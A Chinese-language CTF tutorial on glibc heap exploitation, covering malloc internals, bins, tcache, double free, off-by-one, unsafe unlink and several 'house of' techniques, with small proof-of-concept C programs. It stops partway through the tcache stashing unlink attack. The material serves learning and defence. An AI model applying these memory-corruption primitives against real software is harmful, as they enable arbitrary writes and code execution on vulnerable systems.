CTF 中 glibc堆利用及 IO_FILE 總結
前言
本文主要著眼于glibc下的一些漏洞及利用技巧和IO調用鏈,由淺入深,分為 “基礎堆利用漏洞及基本IO攻擊” 與 “高版本glibc下的利用” 兩部分來進行講解,前者主要包括了一些glibc相關的基礎知識,以及低版本glibc(2.27及以前)下常見的漏洞利用方式,后者主要涉及到一些較新的glibc下的IO調用鏈。
基礎堆利用漏洞 及 基本IO攻擊
Heap
由低地址向高地址增長,可讀可寫,首地址16字節對齊,未開啟ASLR,start_brk緊接BSS段高地址處,開啟了ASLR,則start_brk會在BSS段高地址之后隨機位移處。通過調用brk()與sbrk()來移動program_break使得堆增長或縮減,其中brk(void* end_data_segment)的參數用于設置program_break的指向,sbrk(increment)的參數可正可負可零,用于與program_break相加來調整program_break的值,執行成功后,brk()返回0,sbrk()會返回上一次program_break的值。
mmap
當申請的size大于mmap的閾值mp_.mmap_threshold(128*1024=0x20000)且此進程通過mmap分配的內存數量mp_.n_mmaps小于最大值mp_.n_mmaps_max,會使用mmap來映射內存給用戶(映射的大小是頁對齊的),所映射的內存地址與之前申請的堆塊內存地址并不連續(申請的堆塊越大,分配的地址越接近libc)。若申請的size并不大于mmap的閾值,但top chunk當前的大小又不足以分配,則會擴展top chunk,然后從top chunk里分配內存。
if (chunk_is_mmapped (p)){ if (!mp_.no_dyn_threshold && chunksize_nomask (p) > mp_.mmap_threshold && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX && !DUMPED_MAIN_ARENA_CHUNK (p)) { mp_.mmap_threshold = chunksize (p); //假設申請的堆塊大小為0x61A80,大于最小閾值,因此第一次malloc(0x61A80),使用mmap分配內存,當free這個用mmap分配的chunk時,對閾值(mp_.mmap_threshold)做了調整,將閾值設置為了chunksize,由于之前申請chunk時,size做了頁對齊,所以,此時chunksize(p)為0x62000,也就是閾值將修改為0x62000。 mp_.trim_threshold = 2 * mp_.mmap_threshold; LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold); } munmap_chunk (p); return;}
泄露libc:在能夠查看內存分配的環境下(本地vmmap,遠程環境通過傳非法地址泄露內存分配),通過申請大內存塊,可通過利用mmap分配到的內存塊地址與libc基址之間的固定偏移量泄露libc地址。
pwndbg> vmmap......0x555555602000 0x555555604000 rw-p 2000 2000 /pwn0x555555604000 0x555555625000 rw-p 21000 0 [heap]0x7ffff79e4000 0x7ffff7bcb000 r-xp 1e7000 0 /libc-2.27.so0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1e7000 /libc-2.27.so......
其中0x7ffff79e4000就是本次libc的基地址。
struct malloc_chunk
在這個結構體中,包含了許多成員(考慮在64位下):
① pre_size:如果上一個chunk處于釋放狀態,則表示其大小;否則,作為上一個chunk的一部分,用于保存上一個chunk的數據(申請0x58的大小,加上chunk header的0x10大小,理論需要分配0x68,考慮內存頁對齊的話,甚至要分配0x70,但實際分配的卻是0x60,因為共用了下個堆塊pre_size的空間,故從上一個堆塊的mem開始可以寫到下一個堆塊的pre_size)。
② size:當前堆塊的大小,必須是0x10的整數倍。最后3個比特位被用作狀態標識,其中最低兩位:IS_MAPPED用于標識當前堆塊是否是通過mmap分配的,最低位PREV_INUSE用于表示上一個chunk是否處于使用狀態(1為使用,0為空閑),fast bin與tcache中堆塊的下一個堆塊中PRE_INUSE位均為1,因此在某些相鄰的大堆塊釋放時,不會與之發生合并。
③ fd與bk僅在當前chunk處于釋放狀態時才有效,chunk被釋放后進入相應的bins,fd指向該鏈表中下一個free chunk,bk指向該鏈表中上一個free chunk;否則,均為用戶使用的空間。
④ fd_nextsize與bk_nextsize僅在被釋放的large chunk中,且加入了與當前堆塊大小不同的堆塊時才有效,用于指向該鏈表中下一個,上一個與當前chunk大小不同的free chunk(因為large bin中每組bin容納一個大小范圍中的堆塊),否則,均為用戶使用的空間。
⑤ 每次malloc申請得到的內存指針,其實指向user data的起始處。而在除了tcache的各類bin的鏈表中fd與bk等指針卻指向著chunk header,tcache中next指針指向user data。
⑥ 所有chunk加入相應的bin時,里面原有的數據不會被更改,包括fd,bk這些指針,在該bin沒有其他堆塊加入的時候,也不會發生更改。
bins
1.fast bin:
(1) 單鏈表,LIFO(后進先出),例如,A->B->C,加入D變為:D->A->B->C,拿出一個,先拿D,又變為A->B->C。
(2) fastbinsY[0]容納0x20大小的堆塊,隨著序號增加,所容納的范圍遞增0x10,直到默認最大大小(DEFAULT_MXFAST)0x80(但是其支持的fast bin的最大大小MAX_FAST_SIZE為0xa0),mallopt(1,0)即mallopt(M_MXFAST,0)將 MAX_FAST_SIZE設為0,禁用fast bin。
(3) 當一個堆塊加進fast bin時,不會對下一個堆塊的PREV_INUSE進行驗證(但是會對下一個堆塊size的合法性進行檢查),同樣地,將一個堆塊從fast bin中釋放的時候,也不會對其下一個堆塊的PREV_INUSE進行更改(也不會改下一個堆塊的PREV_SIZE),只有觸發malloc_consolidate()后才會改下一個堆塊的PREV_INUSE。
new(small_size); #1new(large_size); #2delete(1); #free into fastbin (next chunk's PREV_INUSE is still 1)new(large_size); #3 trigger malloc_consolidate() => move 1_addr from fastbin to small bin (modify next chunk's PREV_INUSE to 0)delete(1); # double free (free into fastbin)new(small_size, payload); #get 1_addr from fastbin (don't modify next chunk's PREV_INUSE)delete(2); #unsafe unlink
(4) 當申請一個大于large chunk最小大小(包括當申請的chunk需要調用brk()申請新的top chunk或調用mmap()函數時)的堆塊之后,會先觸發malloc_consolidate(),其本身會將fast bin內的chunk取出來,與相鄰的free chunk合并后放入unsorted bin,或并入top chunk(如果無法與相鄰的合并,就直接將其放入unsorted bin),然后由于申請的large chunk顯然在fast bin,small bin內都找不到,于是遍歷unsorted bin,將其中堆塊放入small bin,large bin,因此最終的效果就是fast bin內的chunk與周圍的chunk合并了(或是自身直接進入了unsorted bin),最終被放入了small bin,large bin,或者被并入了top chunk,導致fast bin均為空。
(5) 若free的chunk和相鄰的free chunk合并后的size大于FASTBIN_CONSOLIDATION_THRESHOLD(64k)(包括與top chunk合并),那么也會觸發malloc_consolidate(),最終fast bin也均為空。
(6) 偽造fast bin時,要繞過在__int_malloc()中取出fake fast bin時,對堆塊大小的檢驗。
2.unsorted bin:
雙鏈表,FIFO(先進先出),其實主要由bk連接,A<-B<-C進一個D變為D<-A<-B<-C,拿出一個C,變為D<-A<-B。bin中堆塊大小可以不同,不排序。
一定大小的chunk被釋放后在被放入small bin,large bin之前,會先進入unsorted bin。
泄露libc:unsorted_bin中最先進來的free chunk的fd指針和最后進來的free chunk的bk指針均指向了main_arena中的位置,在64位中,一般是或,具體受libc影響,且main_arena的位置與__malloc_hook相差0x10,而在32位的程序中,main_arena的位置與__malloc_hook相差0x18,加入到unsorted bin中的free chunk的fd和bk通常指向的位置。
libc_base = leak_addr - libc.symbols['__malloc_hook'] - 0x10 - 88
此外,可修改正處在unsorted bin中的某堆塊的size域,然后從unsorted bin中申請取出該堆塊時,不會再檢測是否合法,可進行漏洞利用。
3.small bin:
雙鏈表,FIFO(先進先出),同一個small bin內存放的堆塊大小相同。
大小范圍:0x20 ~ 0x3F0 。
4.large bin:
雙鏈表,FIFO(先進先出),每個bin中的chunk的大小不一致,而是處于一定區間范圍內,里面的chunk從頭結點的fd_nextsize指針開始,按從大到小的順序排列,同理換成bk_nextsize指針,就是按從小到大的順序排列。
需要注意,若現在large bin內是這樣的:0x420<-(1)0x410(2)<-,再插一個0x410大小的堆塊進去,會從(2)位置插進去。
large bin中size與index的對應如下:
size index[0x400 , 0x440) 64[0x440 , 0x480) 65[0x480 , 0x4C0) 66[0x4C0 , 0x500) 67[0x500 , 0x540) 68等差 0x40 …[0xC00 , 0xC40) 96------------------------------[0xC40 , 0xE00) 97------------------------------[0xE00 , 0x1000) 98[0x1000 , 0x1200) 99[0x1200 , 0x1400) 100[0x1400 , 0x1600) 101等差 0x200 …[0x2800 , 0x2A00) 111------------------------------[0x2A00 , 0x3000) 112------------------------------[0x3000 , 0x4000) 113[0x4000 , 0x5000) 114等差 0x1000 …[0x9000 , 0xA000) 119------------------------------[0xA000 , 0x10000) 120[0x10000 , 0x18000) 121[0x18000 , 0x20000) 122[0x20000 , 0x28000) 123[0x28000 , 0x40000) 124[0x40000 , 0x80000) 125[0x80000 , …. ) 126
5.tcache:
(1) 單鏈表,LIFO(后進先出),每個bin內存放的堆塊大小相同,且最多存放7個,大小從24 ~ 1032個字節,用于存放non-large的chunk。
(2) tcache_perthread_struct本身也是一個堆塊,大小為0x250,位于堆開頭的位置,包含數組counts存放每個bin中的chunk當前數量,以及數組entries存放64個bin的首地址(可以通過劫持此堆塊進行攻擊)。
(3) 在釋放堆塊時,在放入fast bin之前,若tcache中對應的bin未滿,則先放入tcache中。
(4) 從fast bin返回了一個chunk,則單鏈表中剩下的堆塊會被放入對應的tcache bin中,直到上限。
從small bin返回了一個chunk,則雙鏈表中剩下的堆塊會被放入對應的tcache bin中,直到上限。
在將剩余堆塊從small bin放入tcache bin的過程中,除了檢測了第一個堆塊的fd指針,都缺失了__glibc_unlikely (bck->fd != victim)的雙向鏈表完整性檢測。
(5) binning code,如在遍歷unsorted bin時,每一個符合要求的chunk都會優先被放入tcache,然后繼續遍歷,除非tcache已經裝滿,則直接返回,不然就在遍歷結束后,若找到了符合要求的大小,則把tcache中對應大小的返回一個。
(6) 在__libc_malloc()調用__int_malloc()之前,如果tcache bin中有符合要求的chunk就直接將其返回。
(7) CVE-2017-17426是libc-2.26存在的漏洞,libc-2.27已經修復。
(8) 可將tcache_count整型溢出為0xff以繞過tcache,直接放入unsorted bin等,但在libc-2.28中,檢測了counts溢出變成負數(0x00-1=0xff)的情況,且增加了對double free的檢查。
(9) calloc()越過tcache取chunk,通過calloc()分配的堆塊會清零。補充:realloc()的特殊用法:size == 0時,等同于free;realloc_ptr == 0 && size > 0 時等同于malloc。如果當前連續內存塊足夠realloc的話,只是將p所指向的空間擴大,并返回p的指針地址;如果當前連續內存塊不夠,則再找一個足夠大的地方,分配一塊新的內存q,并將p指向的內容copy到q,返回 q。并將p所指向的內存空間free;若是通過realloc縮小堆塊,則返回的指針p不變,但原先相比縮小后多余的那部分將會被free掉。
6.top chunk
除了house of force外,其實對于top chunk還有一些利用點。
當申請的size不大于mmap的閾值,但top chunk當前的大小又不足以分配,則會擴展top chunk,然后從新top chunk里進行分配。
這里的擴展top chunk,其實不一定會直接擴展原先的top chunk,可能會先將原先的top chunk給free掉,再在之后開辟一段新區域作為新的top chunk。
具體是,如果brk等于該不夠大小的top chunk(被記作old_top_chunk)的end位置(old_end,等于old_top + old_size),即top chunk的size并沒有被修改,完全是自然地分配堆塊,導致了top chunk不夠用,則會從old_top處開辟更大的一塊空間作為新的top chunk,也就是將原先的old_top_chunk進行擴展了,此時沒有free,且top chunk的起始位置也沒有改變,但是如果brk不等于old_end,則會先free掉old_top_chunk,再從brk處開辟一片空間作為new_top_chunk,此時的top chunk頭部位置變為了原先的brk,而如今的brk也做了相應的擴展,并且unsorted bin或tcache中(一般修改的大小都至少會是small bin范圍,但具體在哪得分情況看)會有被free的old_top_chunk。
因此,可以通過改小top chunk的size,再申請大堆塊,做到對舊top chunk的free,不過修改的size需要繞過一些檢測。
相關源碼如下:
old_top = av->top;old_size = chunksize (old_top);old_end = (char *) (chunk_at_offset (old_top, old_size)); // old_end = old_top + old_sizeassert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));
需要繞過以上的斷言,主要就是要求被修改的top chunk的size的prev_inuse位要為1并且old_end要內存頁對齊,所以就要求被修改的size的后三位和原先要保持一致。
Use-After-Free (UAF)
free(p)后未將p清零,若是沒有其他檢查的話,可能造成UAF漏洞。
double free就是利用UAF漏洞的經典例子。
1.fast bin的double free:
(1) fast bin對double free有檢查,會檢查當前的chunk是否與fast bin頂部的chunk相同,如果相同則報錯并退出。因此,我們不能連續釋放兩次相同的chunk。
可采用如下方式在中間添加一個chunk便繞過檢查:
釋放A,單鏈表為A,再釋放B,單鏈表為B->A,再釋放A,單鏈表為A->B->A,然后申請到A,同時將其中內容改成任意地址(改的是fd指針),單鏈表就成了B->A->X,其中X就是任意地址,這樣再依次申請B,A后,再申請一次就拿到了地址X,可以在地址X中任意讀寫內容。
(2) 其實,若是有Edit功能的話,可以有如下方式:
若當前單鏈表是B->A,將B的fd指針通過Edit修改為任意地址X,單鏈表就變成了B->X,申請了B之后,再申請一次,就拿到了X地址,從而進行讀寫。
需要注意的是,以上的X準確說是fake chunk的chunk header地址,因為fast bin會檢測chunk_header_addr + 8(即size)是否符合當前bin的大小。
2.tcache的double free:
libc-2.28之前并不會檢測double free,因此可以連續兩次釋放同一個堆塊進入tcache,并且tcache的next指針指向的是user data,因此不會做大小的檢測。
釋放A,單鏈表為A,再釋放A,單鏈表為A->A,申請A并把其中內容(next指針)改成X,則單鏈表為A->X,再申請兩次,拿到X地址的讀寫權。
在以上過程結束后,實際上是放進tcache了兩次,而申請取出了三次,因此當前tcache的counts會變成0xff,整型溢出,這是一個可以利用的操作,當然若是想避免此情況,在第一次釋放A之前,可以先釋放一次B,將其放入此tcache bin即可。
此外,若是有Edit功能,仿照上述 fast bin對應操作的技術被稱為tcache_poisoning。
3.glibc2.31下的double free:
在 glibc2.29之后加入了對tcache二次釋放的檢查,方法是在tcache_entry結構體中加入了一個標志key,用于表示chunk是否已經在所屬的tcache bin中,對于每個chunk而言,key在其bk指針的位置上。
當chunk被放入tcache bin時會設置key指向其所屬的tcache結構體:e->key = tcache;,并在free時,進入tcache bin之前,會進行檢查:如果是double free,那么put時key字段被設置了tcache,就會進入循環被檢查出來;如果不是,那么key字段就是用戶數據區域,可以視為隨機的,只有1/(2^size_t)的可能行進入循環,然后循環發現并不是double free。這是一個較為優秀的算法,進行了剪枝,具體源碼如下:
if (__glibc_unlikely(e->key == tcache)){ tcache_entry *tmp; LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr("free(): double free detected in tcache 2");}
可通過fast bin double free+tcache stash機制來進行繞過:
(1) 假設目前tcache被填滿了:C6->C5->C4->C3->C2->C1->C0,fast bin中為:C7->C8->C7。
(2) 下一步,為了分配到fast bin,需要先申請7個,讓tcache為空(或calloc),再次申請時就會返回fast bin中的C7,同時由于tcache stash機制,fast bin中剩下的C8,C7均被放入了tcache bin,此時,在C7的fd字段寫入target_addr(相當于獲得了Edit功能),于是target_addr也被放入了tcache bin,因此這里target_addr處甚至不需要偽造size(target_addr指向user data區)。
(3) 此時,tcache bin中單鏈表為:C8->C7->target_addr,再申請到target_addr,從而得到了一個真正的任意寫。
補充:
#include#include int main(){ void *ptr[15]; for(int i=0;i<=9;i++)ptr[i]=malloc(0x20); for(int i=0;i<7;i++)free(ptr[i]); free(ptr[7]); free(ptr[8]); free(ptr[7]); //free(ptr[9]); for(int i=0;i<7;i++)malloc(0x20); malloc(0x20); return 0;}
上述代碼,若是按注釋中的寫,則在沒有觸發tcache stash機制時,fast bin中為C9->C8->C7,取走C9,最終tcache bin中是C7->C8,符合設想(依次取C8,C7放入tcache bin)。
然而,若是double free chunk_7,則在沒有觸發tcache stash機制時,fast bin中為C7->C8->C7,取走C7,最終tcache bin中是C8->C7->C8,而若是按照tcache bin放入的規則,應該也是類似于C7->C8,不符合設想。
流程如下:
(1) 取C8放入tcache bin,同時REMOVE_FB (fb, pp, tc_victim);會清空C8的next(fd)指針,并且將鏈表頭設置為指向C8原先fd指針指向的堆塊C7(源碼分析如下)。
#define REMOVE_FB(fb, victim, pp)//摘除一個空閑chunkdo{ victim = pp; if (victim == NULL) break;}while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) != victim);//catomic_compare_and_exchange_val_rel_acq 功能是 如果*fb等于victim,則將*fb存儲為victim->fd,返回victim;//其作用是從剛剛得到的空閑chunk鏈表指針中取出第一個空閑的chunk(victim),并將鏈表頭設置為該空閑chunk的下一個chunk(victim->fd)
(2) 目前fast bin中為C7->C8(最開始取走C7并不清空其fd字段),然后根據tcache bin的放入規則,最終依次放入后為C8->C7->C8。
4.當可以Edit時,往往就不需要double free了,而有些情況看似不能對空閑中的堆塊進行Edit(比如存放長度的數組在free后會清零),但是可以利用UAF漏洞對處于空閑狀態的堆塊進行Edit,例如:
malloc(0x20) #1free(1)malloc(0x20) #2free(1) #UAFEdit(2, payload)
此時,我們編輯chunk 2,實則是在對已經free的chunk 1進行編輯。
off by one
緩沖區溢出了一個字節,由于glibc的空間復用技術(即pre_size給上一個allocated的堆塊使用),所以可通過off by one修改下一個堆塊的size域。
經常是由于循環次數設置有誤造成了該漏洞的產生。比較隱蔽的是strcpy會在復制過去的字符串末尾加\x00,可能造成poison null byte,例如,strlen 和 strcpy 的行為不一致可能會導致off-by-one 的發生:strlen 在計算字符串長度時是不把結束符\x00計算在內的,但是strcpy在復制字符串時會拷貝結束符 \x00。
off by one經常可以與Chunk Extend and Overlapping配合使用。
(1)擴展被釋放塊: 當可溢出堆塊的下一個堆塊處在unsorted bin中,可以通過溢出單字節擴大下一個堆塊的size域,當申請新size從unsorted bin中取出該堆塊時,就會造成堆塊重疊,從而控制原堆塊之后的堆塊。該方法的成功依賴于:malloc并不會對free chunk的完整性以及next chunk的prev_size進行檢查,甚至都不會查next chunk的地址是不是個堆塊。
libc-2.29增加了檢測next chunk的prev_size,會報錯:malloc(): mismatching next->prev_size (unsorted),也增加了檢測next chunk的地址是不是個堆塊,會報錯malloc(): invalid next size (unsorted)。
libc-2.23(11)的版本,當釋放某一個非fast bin的堆塊時,若上/下某堆塊空閑,則會檢測該空閑堆塊的size與其next chunk的prev_size是否相等。
(2)擴展已分配塊: 當可溢出堆塊的一個堆塊(通常是fast bin,small bin)處于使用狀態中時,單字節溢出可修改處于allocated的堆塊的size域,擴大到下面某個處于空閑狀態的堆塊處,然后將其釋放,則會一直覆蓋到下面的此空閑堆塊,造成堆塊重疊。
此時釋放處于使用狀態的堆塊,由于是根據處于使用中的堆塊的size找到下一個堆塊的,而若是上一個堆塊處于使用中,那么下一個堆塊的prev_size就不會存放上一個堆塊的大小,而是進行空間復用,存放上一個堆塊中的數據,因此,此時不論有沒有size與next chunk的prev_size的一致性檢測,上述利用都可以成功。
同理,若將堆塊大小設成0x10的整數倍,就不會復用空間,此時單字節溢出就可以修改next chunk的prev_size域,然后將其釋放,就會與上面的更多的堆塊合并,造成堆塊重疊,當然此時需要next chunk的prev_inuse為零。
當加入了對當前堆塊的size與下一個堆塊的prev_size的比對檢查后,上述利用就難以實現了。
(3)收縮被釋放塊: 利用poison null byte,即溢出的單字節為\x00的情況。通過單字節溢出可將下一個被釋放塊的size域縮小,而此被釋放塊的下一個堆塊(allocated)的prev_size并不會被更改(將已被shrink的堆塊進行切割,仍不會改變此prev_size域),若是將此被釋放塊的下一個堆塊釋放,則還是會利用原先的prev_size找到上一個被釋放塊進行合并,這樣就造成了堆塊重疊。
同樣,當加入了對當前堆塊的size與下一個堆塊的prev_size的比對檢查后,上述利用就難以實現了。
(4)house of einherjar: 同樣是利用poison null byte,當可溢出堆塊的下一個堆塊處于使用中時,通過單字節溢出,可修改next chunk的prev_inuse位為零(0x101->0x100),同時將prev_size域改為該堆塊與目標堆塊位置的偏
移,再釋放可溢出堆塊的下一個堆塊,則會與上面的堆塊合并,造成堆塊重疊。值得一提的是,house of einherjar不僅可以造成堆塊重疊,還具備將堆塊分配到任意地址的能力,只要把上述的目標堆塊改為fake chunk的地址即可,因此通常需要泄露堆地址,或者在棧上偽造堆。
unsafe unlink
unlink:由經典的鏈表操作FD=P->fd;BK=P->bk;FD->bk=BK;BK->fd=FD;實現,這樣堆塊P就從該雙向鏈表中取出了。
unlink中有一個保護檢查機制:(P->fd->bk!=P || P->bk->fd!=P) == False,需要繞過。
#include #include #include uint64_t *chunk0_ptr;int main(){ int malloc_size = 0x80; //避免進入fast bin chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 //chunk0_ptr指向堆塊的user data,而&chunk0_ptr是指針的地址,其中存放著該指針指向的堆塊的fd的地址 //在0x90的chunk0的user data區偽造一個大小為0x80的fake chunk uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 chunk0_ptr[1] = 0x80; //高版本會有(chunksize(P)!=prev_size(next_chunk(P)) == False)的檢查 //繞過檢測((P->fd->bk!=P || P->bk->fd!=P) == False): chunk0_ptr[2] = (uint64_t) &chunk0_ptr - 0x18; //設置fake chunk的fd //P->fd->bk=*(*(P+0x10)+0x18)=*(&P-0x18+0x18)=P chunk0_ptr[3] = (uint64_t) &chunk0_ptr - 0x10; //設置fake chunk的bk //P->bk->fd=*(*(P+0x18)+0x10)=*(&P-0x10+0x10)=P uint64_t *chunk1_hdr = chunk1_ptr - 0x10; //chunk1_hdr指向chunk1 header chunk1_hdr[0] = malloc_size; //往上尋找pre(fake) chunk chunk1_hdr[1] &= ~1; //prev_inuse -> 0 //高版本需要先填滿對應的tcache bin free(chunk1_ptr); //觸發unlink,chunk1找到被偽造成空閑的fake chunk想與之合并,然后對fake chunk進行unlink操作 //P->fd->bk=P=P->bk,P->bk->fd=P=P->fd,即最終P=*(P+0x10)=&P-0x18 char victim_string[8] = "AAAAAAA"; chunk0_ptr[3] = (uint64_t) victim_string; //*(P+0x18)=*(&P)=P=&str chunk0_ptr[0] = 0x42424242424242LL; //*P=*(&str)=str=BBBBBBB fprintf(stderr, "New Value: %s",victim_string); //BBBBBBB return 0;}
house of spirit
對于fast bin,可以在棧上偽造兩個fake chunk,但需要繞過檢查,應滿足第一個fake chunk的標志位IS_MMAPPED與NON_MAIN_ARENA均為零(PREV_INUSE并不影響釋放),且要求其大小滿足fast bin的大小,對于其next chunk,即第二個fake chunk,需要滿足其大小大于0x10,小于av->system_mem(0x21000)才能繞過檢查。
之后,偽造指針P = & fake_chunk1_mem,然后free(P),fake_chunk1就進入了fast bin,之后再申請同樣大小的內存,即可取出fake_chunk1,獲得了棧上的任意讀寫權(當然并不局限于在棧上偽造)。
該技術在libc-2.26中仍然適用,可以對tcache做類似的操作,甚至沒有對上述next chunk的檢查。
house of force
主要思路為:將top chunk的size改為一個很大的數,就可以始終讓top chunk滿足切割條件,而恰好又沒有對其的檢查,故可利用此漏洞,top chunk的地址加上所請求的空間大小造成了整型溢出,使得top chunk被轉移到內存中的低地址區域(如bss段,data段,got表等等),接下來再次請求空間,就可以獲得轉移地址后面的內存區域的控制權。
(1)直接將top chunk的size域賦成-1,通過整型溢出為0xffffffffffffffff。
(2)將需要申請的evil_size設為target_addr - top_ptr - 0x10*2,這里的top_ptr指向top chunk的chunk header處。
(3)通過malloc(evil_size)申請堆塊,此時由于top chunk的size很大,會繞過檢查,通過top chunk進行分配,分配后,top chunk被轉移到:top_ptr + (evil_size + 0x10) = target_addr - 0x10處。
(4)之后,再申請P = malloc(X),則此時P指向target_addr,繼而可對此地址進行任意讀寫的操作。
house of rabbit
house of rabbit是利用malloc_consolidate()合并機制的一種方法。
malloc_consolidate()函數會將fastbin中的堆塊之間或其中堆塊與相鄰的freed狀態的堆塊合并在一起,最后達到的效果就是將合并完成的堆塊(或fastbin中的單個堆塊)放進了smallbin/largebin中,在此過程中,并不會對fastbin中堆塊的size或fd指針進行檢查,這是一個可利用點。
(1)fastbin中的堆塊size可控(比如off by one等)
比如現在fastbin有兩個0x20的堆塊A -> B,其中chunk B在chunk A的上方,我們將chunk B的size改為0x40,這樣就正好包含了chunk A,且fake chunk B下面的堆塊也就是chunk A下方的堆塊,也是合法的,假設這個堆塊不是freed的狀態,那么觸發malloc_consolidate()之后,smallbin里就會有兩個堆塊,一個是chunk A,另外一個是fake chunk B,其中包含了chunk A,這樣就實現了堆塊重疊。
(2)fastbin中的堆塊fd可控(比如UAF漏洞等)
其實就是將fastbin中的堆塊的fd改為指向一個fake chunk,然后通過觸發malloc_consolidate()之后,使這個fake chunk完全“合法化”。不過,需要注意偽造的是fake chunk's next chunk的size與其next chunk's next chunk的size(prev_inuse位要為1)。
unsorted bin attack
unsorted bin into stack的原理比較簡單,就是在棧上偽造一個堆塊,然后修改unsorted bin中某堆塊的bk指針指向此fake chunk,通過申請到此fake chunk達到對棧上地址的讀寫權。需要注意的是高版本有tcache的情況,此時在unsorted bin中找到一個合適大小的堆塊后并不會直接返回,而是會放入tcache bin中,直到上限,若是某時刻tcache_count達到上限,則直接返回該fake chunk,不然會繼續遍歷,并在最后從tcache bin中取出返回給用戶,此時就要求fake chunk的bk指針指向自身,這樣就可以通過循環繞過。
再來看真正的unsorted bin attack,其實在上述利用中,fake chunk的fd指針被修改成了unsorted bin的地址,位于main_arena,甚至可以通過泄露其得到libc的基地址,當然也可以通過這個利用,將任意地址中的值改成很大的數(如global_max_fast),這就是unsorted bin attack的核心,其原理是:當某堆塊victim從unsorted bin list中取出時,會進行bck = victim->bk; unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av);的操作。
例如,假設chunk_A在unsorted bin中,此時將chunk_A的bk改成&global_max_fast - 0x10,然后取出chunk_A,那么chunk_A->bk->fd,也就是global_max_fast中就會寫入unsorted bin地址,即一個很大的數。若是在高版本有tcache的情況下,可通過放入tcache的次數小于從中取出的次數,從而整型溢出,使得tcache_count為一個很大的數,如0xff,就可以解決unsorted bin into stack中提到的tcache特性帶來的問題。
large bin attack
假設當前chunk_A在large bin中,修改其bk為addr1 - 0x10,同時修改其bk_nextsize為addr2 - 0x20,此時chunk_B加入了此large bin,其大小略大于chunk_A,將會進行如下操作:
else{ victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize;//1 fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;//2}...bck = fwd->bk;...victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;//3
其中,victim就是chunk_B,而fwd就是修改過后的chunk_A,注意到3處bck->fd = victim,同時,把1帶入2可得到:fwd->bk_nextsize->fd_nextsize=victim,因此,最終addr1與addr2地址中的值均被賦成了victim即chunk_B的chunk header地址,也是一個很大的數。
house of storm
一種large bin attack配合類似于unsorted bin into stack的攻擊手段,適用于libc-2.30版本以下,由于基本可以被IO_FILE attack取代,目前應用情景并不是很廣泛,但是其思路還是挺巧妙的,所以這里也介紹一下。
我們想用類似于unsorted bin into stack的手段,將某個unsorted bin的bk指向我們需要獲得讀寫權限的地址,然后申請到該地址,但是我們又沒辦法在該地址周圍偽造fake chunk,這時候可以配合large bin attack進行攻擊。
假設需要獲取權限的目標地址為addr,我們首先將某個unsorted bin(large bin大小,大小為X,地址為Z)的bk指向addr-0x20,然后將此時large bin中某堆塊(大小為Y,X略大于Y)的bk設為addr-0x18,bk_nextsize設為addr-0x20-0x20+3。
這時通過申請0x50大小的堆塊(后面解釋),然后unsorted bin的那個堆塊會被放入large bin中,先是addr-0x10被寫入main_arena+88(在此攻擊手段中用處不大),然后由于large bin attack,在地址Z對應的堆塊從unsorted bin被轉入large bin后,addr-0x8會被寫入地址Z,從addr-0x20+3開始也會寫入地址Z,造成的結果就是addr-0x18處會被寫入了0x55或0x56(即地址Z的最高位),相當于偽造了size。
此時的情形如下:
addr-0x20: 0x4d4caf8060000000 0x0000000000000056addr-0x10: 0x00007fe2b0e39b78 0x0000564d4caf8060addr: ...
這時,由于之前申請了0x50大小的堆塊(解釋了設置large bin的bk_nextsize的目的,即為偽造size),那么就會申請到chunk header位于addr-0x20的fake chunk返回給用戶,此時需要訪問到fake chunk的bk指針指向的地址(bck->fd = victim),因此需要其為一個有效的地址,這就解釋了設置large bin的bk的目的。
最后需要說明的是,當開了地址隨機化之后,堆塊的地址最高位只可能是0x55或0x56,而只有當最高位為0x56的時候,上述攻擊方式才能生效,這里其實和偽造0x7f而用0x7_后面加上其他某個數可能就不行的原因一樣,是由于__libc_malloc中有這么一句斷言:
assert(!victim || chunk_is_mmapped(mem2chunk(victim)) || ar_ptr == arena_for_chunk(mem2chunk(victim)));
過上述檢測需要滿足以下一條即可:
(1)victim 為 0 (沒有申請到內存)
(2)IS_MMAPPED 為 1 (是mmap的內存)
(3)NON_MAIN_ARENA 為 0 (申請到的內存必須在其所分配的arena中)
而此時由于是偽造在別處的堆塊,不滿足我們常規需要滿足的第三個條件,因此必須要滿足第二個條件了,查看宏定義#define IS_MMAPPED 0x2,#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)可知,需要size & 0x2不為0才能通過mmap的判斷。
值得一提的是,由于addr-0x8(即fake chunk的bk域)被寫入了地址Z,因此最終在fake chunk被返還給用戶后,unsorted bin中仍有地址Z所對應的堆塊(已經被放入了large bin中),且其fd域被寫入了main_arena+88(bck->fd = unsorted_chunks(av))。
tcache_stashing_unlink_attack
先來看house of lore,如果能夠修改small bin的某個free chunk的bk為fake chunk,并且通過修改fake chunk的fd為該free chunk,繞過__glibc_unlikely( bck->fd != victim )檢查,就可以通過申請堆塊得到這個fake chunk,進而進行任意地址的讀寫操作。
當在高版本libc下有tcache后,將會更加容易達成上述目的,因為當從small bin返回了一個所需大小的chunk后,在將剩余堆塊放入tcache bin的過程中,除了檢測了第一個堆塊的fd指針外,都缺失了__glibc_unlikely (bck->fd != victim)的雙向鏈表完整性檢測,又calloc()會越過tcache取堆塊,因此有了如下tcache_stashing_unlink_attack的攻擊手段,并同時實現了libc的泄露或將任意地址中的值改為很大的數(與unsorted bin attack很類似)。
1、假設目前tcache bin中已經有五個堆塊,并且相應大小的small bin中已經有兩個堆塊,由bk指針連接為:chunk_A<-chunk_B。
2、利用漏洞修改chunk_A的bk為fake chunk,并且修改fake chunk的bk為target_addr - 0x10。
